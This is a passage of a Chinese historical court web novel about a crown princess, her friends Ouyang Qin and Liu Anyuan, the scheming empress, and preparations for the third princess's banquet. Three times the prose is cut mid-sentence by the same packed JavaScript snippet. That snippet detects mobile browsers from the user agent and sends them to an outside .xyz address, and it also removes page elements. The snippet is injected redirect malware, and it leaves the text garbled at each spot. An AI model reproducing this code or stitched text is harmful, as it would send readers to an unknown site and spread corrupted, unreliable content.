元嘉不答,又伸手将酒盏碰倒,杯壁与桌面相触,发出哐当一声脆响。徐妈妈立刻会意,替其回答:“女君呛了口酒,无事的。” “怎的这般不小心……哎呀!” 忽而传来两声短促的惊呼,其中芳菲的声音尤其明显── “娘子!衣裳还没换好呢!您再这样乱动,就得把发髻拆了重新梳头了!” 听着里屋的动静,确认柳安沅一时半会还出不来,元嘉又道:“是我自个儿不当心,只顾着和沁姊姊说话了,又想得入了神。” “诶,你们又在说什么有意思的……我还都没听到呢!” 柳安沅的声音一下子提了起来。 欧阳沁立刻反应过来,接着元嘉的话又道:“就是你方才说的那些,我们听到后头是又明白又糊涂的……阿沅,你可还知道些旁的?” “我、我就听到这些了,怕靠得太近被阿娘发现,又和师傅拎着我说刺绣的事情……” 隔着帘帐,柳安沅的声音有些模糊不清,但还是能听出其中的唉唉叹气。 “那便是昨日了。我一直守着阿沅把刺绣做完,又看着她跟着郡主身边的嬷嬷去交差,之后才离开国公府的。” 欧阳沁轻声说与元嘉听,想了想又故意道:“好哇!郡主娘娘是让你过去交课业的,你倒好,藏起来偷听她和别人说的话,仔细被郡主知道了罚你!” “……我不是故意的!” 柳安沅颇为委屈,“我本来老实等在屏风后头的,可谁知宫里来了人,想请阿娘做一副纭裥绣。我那些刺绣哪里能见人,更不想被拿来和阿娘的纭裥绣作比……本想着藏起来等人离开就好,可谁知她们说起话来就没完了,我这才听到这些事情的。为了躲她们,我身子都站僵了!” 靖安郡主极擅纭裥绣,偏唯一的女儿是个连绣针都捏不稳的,带着教了许多年,也只能勉强把圆月绣成馕饼,如何叫人不气急。这两年也是实在想不出别的法子了,才从外头请了一个又一个的师傅,又压着柳安沅从头开始学。前者叫苦不迭,这才有了让元嘉帮着做绣帕的事情。 “不对,不是靖安郡主……” 欧阳沁眉头皱得死紧,不断回忆着柳安沅话里的不寻常之处,而后猛地看向元嘉,“是皇──” “是皇后殿下。” 元嘉的声音同时响起。 可更深的困惑旋即涌来──娄皇后又是因为什么,才会让靖安郡主做这个传话人呢? 于她,无论如何都不会上赶着去修补燕景祁和薛德妃的关系,更不会替薛家人多说一句话。如此,又何必将这些阴私事铺到她的面前……就这么笃定她能够一概受下,而不是惊惧失措吗? “皇后既选了你,便不会做出自打脸面、对你不好的事情。至于德妃,从你成为太子妃的那一日起,就已视你为强占了她侄女位子的恶妇……不管有无阿沅今日这一遭,你与她二人的关系都不可能有任何的改变。” 欧阳沁将手搭在元嘉手背,声音既轻且缓,带着似有若无的安抚,“我倒觉得,是因为你做了太子妃,这些事情早晚也会知道,那一位便干脆做个顺水人情,替你省去些探路的工夫。” “至于为什么会是阿沅……她那般天真烂漫的性子,好事不会记得太深,坏事也不会想得太深。只说今日这些,在她心里怕不比方才吃下肚子的点心果子要紧,这会儿或许都已抛之脑后了。” 元嘉忍不住弯了眉眼,故意道:“姊姊是觉得我怕了?” “怕?”欧阳沁摇头,“你从来不怕这些。”又往人手背上轻拍了一下,“可我也想让你更安心些,想你只管过好自己的日子,想你遇事无须忍无须忧……无论如何,我与阿沅总是在你身边的。” 元嘉被这话说得有些微愣,反应过来后是更深的感动。她本以为自己藏得很好,却原来还是被欧阳沁觉察到了其中的不对劲──她这段时日始终难消的焦虑。 “沁姊姊……” 却只开了个头,便又不知道说什么好了。唇瓣几度翕动,元嘉终是反握住欧阳沁与自己相贴的那只手,一切尽在不言中。 里屋的动静也渐渐低了下去。 不多时,柳安沅掀帘而出,嘴里还道:“嘉儿,你箱子里怎么全变成艳色衣裳了,我还找了半天……你不是从来都不喜欢颜色太过鲜亮的料子吗?” 元嘉看着被前者穿在身上的赤红石榴裙,解释道:“都是尚衣局做好了送过来的,各色衣裳都有,但为着宫里的喜好,每每送来的还是以艳色居多。好在这段时日几乎不怎么出门,我便挑着自己的旧衣穿,这些便先堆箱子里了。” 又朝盼春道:“出去叫人把桌上的东西撤走吧,另上些茶点来。” 前者诶了一声,开了屋门便吩咐起外头人来。宫女们不时进出,三人说起话来也收敛了许多。 “怎么说着说着就听不见声儿了?” 柳安沅重又坐下,嘴里半嘟囔半抱怨着,“你们是没瞧见,侍剑和盼春全程把我围着,严防死守,生怕我在里头多动了一毫……我如今,不也没卸了钗环重新梳头吗!” 话音刚落,柳安沅的耳后便恰到好处的散下一缕乌发,一下子将前者的话给堵了个干净。芳菲忍着笑,又上前打整了一番,只听自家娘子急急道:“哎呀,不算不算!谁叫你们在外头说话勾我来着……诶,你们后面是不是又说了别的?我实在是没有听清。” 迎着柳安沅茫然的目光,元嘉倒也点头,带着明显的笑意,口中道:“只是么……不能叫你知道罢了。” 柳安沅一双眼睛瞪得滚圆,满脸不解地嚷道:“为何!” “背地里议论人的事情,怎好叫你这个被议论的知道?我俩刚才在猜呢,若你被靖安郡主逮着,不知又会被压着做多少幅刺绣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902956|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 欧阳沁与元嘉对视一眼,也不知是谁先笑出了声,屋里一下子变得热闹起来。 柳安沅被这话引去了全部心神,立刻将方才说的许多事抛诸脑后,又与元嘉抱怨起昨日险些被自家母亲扣着出不来的事情,一并求着前者再替她多备几面绣帕,又有欧阳沁牵引话题,柳安沅便也彻底忘记自己一开始的目的了。 清宁宫内—— 兰佩服侍在娄皇后身侧,看她姿态悠闲地裁剪花枝,一会儿递上剪子,一会儿递上帕子,如此反复好一会,终是没忍住问出了声。 “您既是好心,又何必让别人开这个口呢……太子妃听了,保不齐还会对您生出许多不定呢!” 娄皇后不答,只搁下剪子,又左右打量了几眼,方才满意地一颔首。兰佩立刻上前为娄皇后净手,又一点点擦去前者手上残留的水渍。 “未必就是靖安开这个口……且予这会儿倒觉得,或许是自己多事了呢。” 慢慢踱回临窗的软榻坐下,娄皇后的话里带着几分欣赏,“孙宫正过来时你也在的,太子昨日杖杀了曾经服侍过薛氏的旧仆,更生了好大一场气……若非她们都是自宫里出去的,生死都得录于掖庭,予只怕到现在都还不知道呢。” “太子惦念先太子妃,自然对这些污了先太子妃名声的人不会轻饶。” 兰佩轻声道。 “是吗?” 娄皇后噙了抹含义莫名的笑,“可予怎么觉得,这其中也有咱们如今这位太子妃的影子呢……否则,怎么之前不见这几人被查出来,偏等到新妃进了府才闹出这桩事来?” “这……” 兰佩哪里敢议论,只附和了两句便不再吱声。 “予原本还担心她年纪轻,从前也不曾与皇室打过交道,少不得会在某些人某些事上做个耳聋眼瞎的。太子虽也点了头,但到底是予定下的人,若有什么不好,总是要论到予的身上。予这才想着提点几句……却是白操心了。” 最后几个字,却带了三分凉意。 兰佩充耳不闻,只笑着道:“那也是您的眼光好,这才有了如今的这位太子妃。奴婢瞧着,太子殿下也一日好过一日了呢。” “……予的眼光好?” 娄皇后嗤笑一声,“真是眼光好,便不会在上一个人那里看走眼了。” 主仆二人正说着话,却见一个着鹅黄裙衫的宫女快步走了进来,屈膝行礼道:“女君,娄夫人带着小娄娘子来给您请安了。这会儿已进了宫,在往清宁宫来的路上了。” 娄皇后脸色倏地冷了下去,“命妇进宫怎么没事先递个牌子?予这表嫂真是愈发不成体统了……还不叫人去宫门口守着,见人过来了就引进来,可别失了礼!” 那宫女自是不敢再言,领了命就快步离开,连头也不敢再抬一下。 娄皇后瞧着前者远去,脸色还是不甚好看,“眼皮子浅的东西!还真当自己是予的嫡亲嫂嫂了不成?予怎么不知道自己还有个这样的哥哥!” 兰佩垂目站立一旁,只当什么也没听见,但见娄皇后渐渐平复下来,才服侍着人往前殿走去。 忽然间,耳边传来一声吩咐,是娄皇后的声音── “去把太医令找来,予似乎许久未请平安脉了。” “……是。” 33. 彼此思 太子府。 元嘉本还要留欧阳沁、柳安沅二人用了晚膳再回,不曾想欧阳府突然遣了人来,道欧阳沁的弟弟下了学没见着姊姊,这会儿正在府里闹得厉害。老将军夫妇无法,只能催欧阳沁提前归家,来人更再三向元嘉请罪。 欧阳沁常年随军队驻扎边城,每每回京,最是在乎的便是自己这唯一的弟弟,而前者也最爱缠着她。欧阳沁收了讯,心中自是放心不下,几番纠结还是选择了先行离开,只留下柳安沅一人。 待到傍晚时分,刘婵携倪娉柔特意过来拜见,几人又一道用了晚膳。席间柳安沅与倪娉柔一见如故,当场引为知己,甚至还相约来日一同外出游玩。元嘉从旁瞧着,却也不能不道一句缘分。 至于早前离开的欧阳沁,也并没有急着往家中赶,只扯住缰绳,不紧不慢地在长街上骑行。侍剑策马跟随,一言不发。 “……寻几个妥帖的,去探探薛家和德妃的底,也细查查头先那位太子妃的情况。” 沉思片刻,欧阳沁压低声音,朝侍剑吩咐道。 前者微不可见地点了点头,“娘子勿忧,瞧着季娘子镇定如常,想来心中是有数的,必不会出什么事。” 又见自家将军脸色凝重,复道:“再者,季娘子将将成亲,正是众人瞩目的时候,谁敢在这当头明着使绊子……您别着急,我尽快找人办好。” 侍剑自幼随在欧阳沁身边,又惯来聪颖,听得欧阳沁此言,再略一联想此前之举,当下有数。只因在大庭广众之下,不便称呼太子妃三字,遂改以从前惯叫的称呼。 “偏咱们的人大多在边城,要想在上京探寻什么,还是有些难了……我亦不熟悉上京的人与事。”欧阳沁缓缓吐出一口浊气,“这种算计来算计去的东西,实在是搅的人头疼,还不如真刀真枪的打一场来得痛快……” 侍剑想了想,扬起一抹笑,“娘子,奉弋问咱们什么时候回去呢。” 欧阳沁果然被转移了注意力,讶异道:“边城来信了?怎么我不知道。” 侍剑夹紧马腹,略提了速与欧阳沁并排而行,答道:“她哪敢问您呀,是偷偷写信问了我一句,说是您不在这么长时间,将士们都想您了。” 欧阳沁听罢,不免笑出声来:“哪是想我,怕是在打听我什么时候回去,好算算自个儿还能捡懒多久吧!” “哪能呀,奉弋说虞副将每日都紧着弦,压着那群爷们儿操练呢!”侍剑语气轻快,“信上还说,虞副将近来脾气差得很,见不得有人在他面前偷懒,前几日还叫男兵和女兵比了一场。您猜,结果如何?” 前方几个小贩推着商货经过,欧阳沁一边扯住缰绳退避,一边答得漫不经心:“怕不是全军覆没了。” “正是呢!不仅全军覆没,还被打得在地上许久都爬起不来。”侍剑脸上的笑意一点点扩大,“虞副将嫌他们把男人的脸面都丢尽了,如今除了每日例行的操练外,还另给男兵加了一个时辰的训。” “虞长风还是这么大火气?” 欧阳沁瞧了一眼侍剑,“倒在我面前摆出一副稳重模样。” 二人口中谈及的虞副将,姓虞,名留良,长风是其从军后第二年给自己取的表字。出身会稽虞氏,因是家中最小的一个,少时起便被祖父母宠惯,仗着学了几分功夫,在外面和一堆武混子称霸王。虞父唯恐其入不正之途,借着与欧阳家旧时的交情,五年前请托老将军夫妇,送去欧阳沁身边做了亲卫。 初来时,见欧阳沁只是个身形瘦弱的小娘子,满脸不服,而后在十招之内被掀翻在地,之后便老老实实地呆在了军营,跟着士兵们日夜操练。倒也真算是天赋异禀,不过半年的工夫,军中除几个领兵的将军外,竟无一人能在他手下撑足一盏茶的时间。 两年前,欧阳沁见他性子渐稳,有意放人归家,却被虞长风强硬拒绝,自愿长留军中。欧阳沁见他意志坚定,便提他做了自己的副将,也开始习起兵法之道来。 这两年,疏勒与大周在边境的几次冲突,虞长风都随在欧阳沁身边一起战斗,性子也就愈发稳了。今次,疏勒大败,自愿弃械和谈,欧阳沁带着消息先行回京,便留了身边的奉弋和虞长风一起驻守边城。 “我朝打了胜仗,疏勒这一低头,边境至少可得十年太平。将士们高兴,心中难免松懈,虞副将这一手,也算是替他们紧着弦了。”侍剑眼含笑意,“奉弋不是说虞副将心情不佳吗,如此也算是给他自己一泄火气了。” “……便由着他吧。” 欧阳沁抚了抚被风吹散的发丝,一扯马缰,疾行而去,声音几乎飘散在空中,“给他们去个信,就说今上要遣人去边城详谈,这几日就会定下来,我也会跟着回去,就这十数日的工夫了!叫他们万不可懈怠,我回去了是要一一检练的!” 侍剑诶了一声,见欧阳沁选的那条道并不是回府的方向,忙一挥马鞭跟了上去,“您这是往哪儿去!” “那小子没见到我,又闹得厉害,给他去知味楼买些爱吃的点心!”欧阳沁扬声道,“快跟上!” 二人策马疾行,身影迅速消失在坊市的拐角。 …… 这之后几日,元嘉在太子府的日子一片宁静。原还要依时入宫向娄皇后请安,不曾想见过沁、沅两人的次日,宫里头便传出信来,说是娄皇后深夜风邪侵体,太医诊脉后嘱咐静养,这些时日的请安便一概免了。 元嘉向宫里递了牌子,本欲进宫侍奉,但依旧被娄皇后婉拒,甚至连熙宁公主的面都不见,只说怕过了病气,没的再病倒几个。元嘉便不再强求,只三不五时地差人进宫,向清宁宫送些补身之物,以示记挂。 而燕景祁近来也早出晚归,只隐约听申时安提起,说是前朝事忙,好些要紧事等着决议,细算起来,上次见燕景祁,还是两日前用晚膳的时候。元嘉也不在意,只每日让敛秋炖上一盅汤,送去澹怀堂,旁的也不再过问。 这日起来,用罢早膳,听着徐妈妈在耳畔低语,燕景祁今晨又是从倪娉柔处离开。元嘉面上倒不见惊讶,倪娉柔本就是个连女子瞧了都要软上三分的美人,过了新期,燕景祁常去梨云院便也算不得什么稀罕事了。 元嘉看着人把碗箸撤下去,心中突然生出个疑惑,“红玉,倪良娣不是比刘良娣还早入府吗,瞧着在殿下那里也颇受看重,却为何至今仍膝下空空呢?” 前者正站在一旁打扇,听见元嘉问话,先搁了扇子,这才上前回话,“倪良娣本是有过孩子的,只是……” 字里行间斟酌了许久,方道:“只是良娣无福,没能留住孩子。” 没能留住? 元嘉眉心微动,目光从红玉的脸上扫过,见前者一副不知该如何言说的表情,想了想,又道:“可有原因?” “……府里都传,是徐奉仪害了良娣的孩子。” 红玉说完话,立刻将头埋下,丝毫不敢看元嘉是何表情。 “是奉仪亲口认下的?” “良娣是这般说的,奉仪也从来没有否认过。至于薛娘娘,薛娘娘在时虽也不许人私下议论,但到底不曾严厉驳斥过这件事情……” 红玉答得含糊。 这算什么说法? 元嘉拧眉再问:“……太子呢?” “太子、太子常年为国事繁忙,府内事少有过问。” 红玉说话声愈小。 是不值得他过问,还是自信薛神妃能将内事料理妥当…… 元嘉掩在袖下的指节蓦地一僵,旋即又无事般站起身,兀自踱回临窗的软榻坐下,语气平淡:“那便是未经证实的谣言了……今后,本宫不想在府里任何一个人的嘴里再听到这些话。” 红玉悚然一惊,连声应下。 比之事事针对的徐丽华,元嘉自然更喜欢进退有度的倪娉柔……但也不能以此任由旁人胡乱议论。这段时日,她观倪娉柔脾性,若没了的那个孩子真与徐丽华脱不了干系,她又怎么可能只逞嘴上威风。 但约莫……徐丽华还是对倪娉柔做过什么的,以至于她无法直接否认,而前者再找不到其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913907|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能害自己的人,从此将徐丽华视为眼中钉,肉中刺。 可,薛神妃又在其中充当什么角色呢…… “论起资历,你也称得上宫里的老人了。哪些话能说,哪些话不能说,该比本宫清楚,怎么还犯这种糊涂?”元嘉点了两句,又见前者面带羞惭,自觉也已足够,遂放缓了语气,“倪良娣、是可惜了,也无怪太子多偏疼她些。” 也算是了结之前的话头。 “……是,良娣素来对咱们都好,遇上奉仪才火上三分。”红玉再开口已然谨慎许多,“殿下怜惜良娣年纪轻轻便子嗣艰难,是以去梨云院的次数也多些。” 元嘉点了点头,不置可否。只拿起早前搁在案桌上的游记,一页页翻看起来。 正当时,本该去小厨房端几碟果子的拂冬像阵风似的奔了进来。停在元嘉身前,拂冬气都还来不及喘匀,便从衣襟里摸出一张鎏金帖,断续道:“三公主要办春日宴,给太子府下了请帖,邀您和两位良娣三日后同去府上饮宴呢!” 元嘉接过帖子,上下扫了两眼,“三公主……便是德妃生的那位公主吧?” 红玉点了点头,“只是三公主如今尚未出阁,亦不曾在京中设公主府,便是邀人饮宴,也该是在凤阳阁里,怎会说是请您去府上呢……” “荷风园是三公主的园林?” 红玉摇头,“荷风园是万春公主成亲时的陪嫁,为今上所赐。” 元嘉闻言,抬眼看向红玉,“万春公主行二,早几年便嫁出去了……如今瞧来,倒与这位三公主交情颇好?” “万春公主的母妃,未封主位前,是德妃殿内伺候的人。后来,虽离了珠镜殿,却也记着旧主的情,这么些年,倒没断了来往。三公主借万春公主的园林设宴,想是有此缘由。” 元嘉合上帖子,“既如此,送帖子的人是谁?现下何在?” 拂冬回道;“是三公主身边的舍人,徐妈妈正领着吃茶呢。” “那便替本宫应了吧,”元嘉随手将请帖搁在一旁,“记得嘴甜一些,也问问还有哪些人得了三公主的帖子。” 拂冬诶了一声,一如来时般脚步轻快地离开了。 元嘉目光始终停留在那帖子上,须臾忍不住笑出声来──若依前言,太子当与这位妹妹的关系一般。专程下帖子相邀,看来是场鸿门宴哪。 “……红玉,三公主如今和谁走的近些?” “从前,倒与薛娘娘颇为亲近。后来薛娘娘病逝,整个太子府便与珠镜殿少了往来……那之后,就只听说与万春公主走得近些了。” 红玉想了想,语带迟疑, “再无旁的了?” 元嘉诧异道。 毕竟是天家的女儿,又有燕景祁这个做太子的哥哥。不管这份关系是近是远,她的身边都不该短了人才是,又怎会只与另一个公主交好? “三公主、三公主性子颇为娇纵,万事须得旁人顺着,又……总之对能待在自己身边的人有许多苛求,能留下的便也没几个了。” 红玉的话里夹杂着几分为难。 元嘉闻言,轻笑出声,“那要让三公主借别人的园林设宴,心里只怕要更不高兴了。” 红玉正犹豫着该如何回话,早前出去的拂冬在这时跨门而入,嘴里脆生生道:“女君,婢子问到了!三公主除了给咱们送了帖子,其他的公主也送了,不论是已出嫁的,还是未出阁的,一个没落!” 倒也正常,都是些姊妹亲眷,不送才是稀奇。元嘉追问道:“京城里呢,又送了哪些?” “家中有宗室女的,府上和皇室结过亲的,三公主都派了人,”拂冬掰着指头数着,突然抬头一笑,“还有夫人和少夫人,也得了帖子呢!” 元嘉的笑这才带了几分真心,“本宫可好些日子没见着她们了,三公主还真是善解人意。既如此,你们便好生准备着,也遣人去告诉两位良娣一句。三日后,红玉和盼春随本宫去荷风园。” “是!” 在场诸人齐声应道。 34. 同赴宴 三日后—— 一大早,长春馆便燃起了灯,一群人里里外外地忙碌着。 盼春早早地服侍元嘉起了身,又换上前些日子新做的衣裳,一旁的敛秋则指挥着人摆上早点,好叫元嘉囫囵垫上几口。 红珠正为元嘉描眉,一笔画就,停了停,又放下黛笔,另取了盒花钿,小心勾勒在元嘉额心,“虽是京中时兴的样式,可宫里的娘娘们也有不少喜欢的,每年也会分给太子府许多……这个是用翠鸟羽毛做的翠钿,如今瞧着是翠色,但若行走在日光之下,还可见湖蓝之色。女君既不喜欢太过艳丽的色彩,还是用它最是相宜。” 虽跟在元嘉身边的时日尚短,但红珠已然窥见前者在某些物事上的喜恶。这会儿有意无意的在人面前提及,果然换回了前者一道满意的目光。 又是好一会儿,红珠才收拾妥当,一旁等候的念夏忙上前几步,想要为元嘉换上外衫。 门外忽然传来一声轻响,原是燕景祁身边的兰华并两个宫女过来了。 元嘉没有起身,只问道:“姑姑怎么这时候来了,可是殿下有什么吩咐?” “殿下知道女君今日要赴三公主的宴,特意遣奴婢过来送些东西。” 兰华笑着行礼,又命身后人将手里捧着的托盘递了出去。 红珠和念夏连忙接过,却是一条曳地石榴裙并一整套新的头面,花树、宝钿、簪钗、步摇,一应俱全。 元嘉瞧着,连脸色都不曾变过一下,客气道谢,“多谢殿下记挂,不知两位良娣的送去了没有?” 兰华轻轻一摇头,“殿下只叫奴婢往女君处送东西,未听说有其他人得了吩咐,要往良娣们的院子走一遭。如今,东西既已送到,奴婢便不耽搁女君出门了,这便回去复命去了。” 燕景祁这些日子忙得脚不沾地,元嘉本以为他无暇顾及女眷间的应酬,没成想今日,人已经进宫了,还特意叫人送了东西出来……只怕是在提醒她一应行止不要忘了身份。当下又是几声寒暄,这才叫红玉送人出去。 屋内。 红珠捧着东西,有些左右为难,“……女君,殿下送的这些东西,都得换上吗?” 燕景祁送来的,不拘衣裙还是首饰,都是一等一的做工,可,却与她们今日为元嘉描好的妆容相距甚远……红珠一时间踌躇不定起来。 元嘉看了看铜镜里的自己,又看了看托盘中一堆华丽的物事,缓缓吐出一口浊气,脸色如常,“换吧。既是红裙,外面就再压一压。” 红珠听完元嘉的话,略想了想,方道:“既如此,还请念夏娘子去里屋的箱子找找,把那条绣满花鸟的花笼裙和蹙金有折枝花的披帛一并拿来。外衫倒不用换,还用方才的大袖衫,颜色也算庄重,压得住里头的红裙。” 见念夏面露茫然之色,又提醒道:“就是那条边缘还用金银线刺了流云纹的。” 前者这才恍然,忙三步并作两步朝里屋走去。 红珠有些不放心地张望了两眼,似乎还想要跟着进去,却被元嘉偏头唤了回来,“让念夏自己去找吧,你过来重新替本宫描妆。把花钿抹掉,另换朱砂勾个简单样式,再在眼尾之下描上两笔,头上的簪钗也全取了。所幸今日梳的是高髻,又起得早,倒也不耽搁事。” 红珠答应了一声,忙拧了块帕子替元嘉净面,拂冬跟着上前打下手,嘴里却不免嘟囔,“殿下虽说是好意,却平白给咱们多添了好些事情,都不知道该喜还是该恼了。” 元嘉掀了掀眼皮,望了镜中的拂冬一眼,见她被进来的盼春拧了一下,不免失笑,“尊者赐,当然得喜。本来也是些好东西,不过是为着我个人的喜恶,才又是换又是改的,” 说着叹了口气,“只这样看来,今日这场宴,怕不会过得太风平浪静了。” 说话间,红珠几人麻利的为元嘉新换了衣裳,又略微打理了有些凌乱的鬓发,最后将凤鸟步摇宝钗插在髻边,这才服侍着元嘉出院门。 太子府前院花厅处,以倪娉柔、刘婵二人为首,连同随侍的人,皆已敛目等候,见元嘉出来,均躬身行礼,口中道万安。 元嘉脚步不停,“二位妹妹久等,快上马车吧。” 众人又是一屈膝,这才跟在元嘉身后,各自去了马车,一行人浩浩荡荡地往荷风园驶去。 少阳宫内。 燕景祁刚刚结束廷议,回了侧殿稍事休息。申时安在一旁奉上茶盏,又接过小内侍递来的扇子,力度适中地上下摆动着,口中道:“方才兰华来报,说已将东西送去长春馆了……太子妃也已收下。” 燕景祁嗯了一声,“那便好,她今日赴三皇妹的宴,这一套打扮正合适她。” 申时安瞧着燕景祁脸色,嘴皮翻了翻,终是没忍住,“只奴才瞧太子妃,平日里喜穿淡色衣裳的多,便是着红,也是选那些色浅的穿,殿下今日为何命人送去一件石榴裙?” “从前神妃为太子妃时,不拘出现在什么场合,都是一贯的仪制庄重,从不因任何人任何事忘记自己的身份……可私下里,她也曾向孤表露过遗憾,遗憾自己少有能作其他打扮的时候。” 燕景祁顿了顿,“她年纪轻,又是换了身份后第一次外出赴宴,就不必过分讲求庄重了,可也不能太由着自己的心意,这样正好。” 申时安暗叹一声,不敢再多问,只心里对那位新妃殿下添了三分怜悯。瞧着是受太子看重,却仍旧摆脱不了故人的影响。 元嘉倒不知道有人在可怜她,便是知道了,只怕也只会嗤笑一声,不屑一顾。毕竟此刻,太子府一众人已到了地方,下了马车。 这才是元嘉今日的重中之重。 荷风园内已是来了不少人,或三五成群看花看景,或二三围坐谈笑聊天。见元嘉来了,不管头先在做什么,皆停了动作,行礼拜见。 元嘉颔首,略扬了声音,“今日乃三公主私宴,本宫也不过如诸位一般,是三公主请来的客人罢了。诸位自在些就是,无需多礼!” 又示意身后随行的倪娉柔等人各自散去,不必一直陪在她的身边。 众人闻言,这才起身,说话的声音却比之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926830|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小了许多,余光也都有意无意地瞟向元嘉。 刘婵看到自家伯母亦在园内,向元嘉告罪一声便离开了,倪娉柔却还只是左右张望,不见动作。 “良娣不去找相熟的人说说话吗?” 元嘉问道。 “妾不似刘姊姊那样还有位伯父在上京,一双弟妹也都在伯父府里住着,妾相熟的人都在江南呢。” 倪娉柔语气淡淡,听不出是高兴还是不高兴。 “你前些日子不是识得安沅了吗,本宫瞧着你与她似是志趣相投的样子,”元嘉停下脚步,望向身边人,“她今日也要来的,你何不去找她说说话?” “当真?” 倪娉柔面露喜色。 “骗你做甚?”元嘉笑盈盈道,“她素来喜欢热闹场面,这会儿只怕是已经到了。你只管往人多的地方去,保管能找到她。” 说话间,元嘉也瞧见了自家母亲和嫂嫂,“本宫的家里人也到了,我同她们说几句话,便去寻你俩。” 倪娉柔的兴致明显高了起来,向元嘉告罪一声,便往人群中去了。元嘉望着前者轻快的背影,笑容未散,直看见倪娉柔的身影隐在众人之中,才放心地朝季母所在走去。 “阿娘!阿嫂!” 季母笑容满面地握住元嘉双手,“太子妃一切安好?” 上一次见面还是在归宁的时候,季母也问了元嘉一堆好不好的话,似乎只有得前者一个点头,心中的焦虑与不安才能少些。。 元嘉笑着回答,“我一切都好。” 又朝顾静则点了点头,三个人站在一起,好似有说不完的话。 “淳弟这些日子如何?” 元嘉突然想起燕景祁之前的话,这些时日心里记挂着德妃和薛神妃,倒忘了季元淳要进宫做五皇子伴读的事情。 季母闻言,却叹了口气,“你弟弟月初就进宫了,说是之后就住在宫里,和五皇子一起,同吃同睡,每个月休沐三日,月底归家。” “阿娘何故叹气?” 元嘉不解。 “我是怕你弟弟顽劣惹祸,得罪了人都不知道。” 季母想起季元淳那副性子,就觉得头疼。 元嘉拍了拍季母的手,“太子这些日子并未向我提过淳弟有任何不当之处,想是知道分寸的。阿娘若实在不放心,月底时我去接他,再同他好好说说。” “……这样也好,那小子最听你的话了,”季母点点头,“只是要辛苦你了。” “都是一家子,哪里来的什么辛不辛苦。”元嘉嗔怪一声,“那阿懿呢,她的事情可也妥当了?” 顾静则嗯了一声,“长公主府第二日便派人来了,让阿懿下月初过府,说是史大家这两月正带着弟子在外面游览群山,因而暂时闭馆,等下月人回来,便开始上课。白日里就和府里的其他女孩儿们一起吃饭休息,每日下学后再坐车回来,也免得来回奔波。” “这样便好。” 元嘉心中大石落地,也便有闲心和季母二人赏起这四周的花花草草了。 35. 心藏事 荷风园另一侧的凉亭里,赵舒和与赵妍和两相对坐,各自捧茶不言。 这样的场合,三公主自然也给广平侯府送了帖子,但福昌郡主自言身体不适,不宜见风,便打发了自己的女儿过府赴宴,哪想临出门前,广平侯又让赵妍和一并随行,这才有了二人对坐无言之景。 “可真热闹哪!” 赵妍和感叹道:“只可惜,妹妹的运气差了一点儿,不然今日,便是姊姊我在你面前屈膝行礼了。“ 赵舒和到底年轻,听到这话难免火上心头,当即冷笑道:“姊姊如今竟也不藏着掖着了,更不似在我娘和父亲面前那般乖顺懂事了。姊姊这副面目,若是被父亲瞧见,也不知会作何感想呢?” 赵妍和笑得和善,“我心疼妹妹罢了。母亲费了那么大的心思,家里却还是没能再出一个和皇室扯上关系的,换作我自个儿,也得病上一场。不然,哪有脸见人哪。” “你!” 赵舒和本就没放下赏菊宴一事,不过是因福昌郡主的话强压着罢了,如今听到这个处处让自己讨厌之人提起,哪里能忍,立时反唇相讥,“你如今得意的很吧,也敢来编排我母亲了……老蚌生珠!” 不怪赵舒和会说出这等难听话,原是广平侯府这些日子也不太平。盖因当初福昌郡主大肆宣扬熙宁公主夸赞赵舒和一事,其后又有赏菊宴做辅,叫一些不明就里之人真以为太子妃之位是赵家囊中之物。哪知宴摆了,人也去了,最后却相中了旁人,广平侯最好面子,不免对福昌郡主恼上三分。 偏这时,赵妍和的母亲,府上的李姨娘被诊出有孕了。这几年,广平侯虽新人不断,可已是经年未有喜讯,如今李姨娘有妊,整个小院顿时炙手可热起来。 “二妹妹不日便要再多一个弟弟或是妹妹了,该高兴才是。” 她也该高兴才是。 毕竟,她那位凉薄的父亲终于主动将目光投在了她娘俩身上。不需要她想方设法地去争取、去谋算……哪怕,是靠着一个月份尚小,不知等多久才能成形的腹中肉。 “李姨娘怀的是男是女尚不可知,这把年纪了,能不能平平安安地生下来也是个问题,姐姐未免也高兴得太早了。” 赵舒和皮笑肉不笑。 “父亲如今每日都要去小院看望姨娘。有父亲看顾,我想姨娘这一胎定能妥妥当当的。” 赵妍和从容自若。 明明亭外就是一片热闹,亭内的两人却好似死敌一般,针锋相对,恨不得啖其肉饮其血。 “……差点忘记恭喜姊姊了。” 赵舒和本已面布寒霜,突而又想到了什么,顿时转怒为喜,“听说家里已在为姊姊相看人家了,也不知是哪家郎君有这样的福分,能把姊姊娶过门呢?” “你听谁说的?” 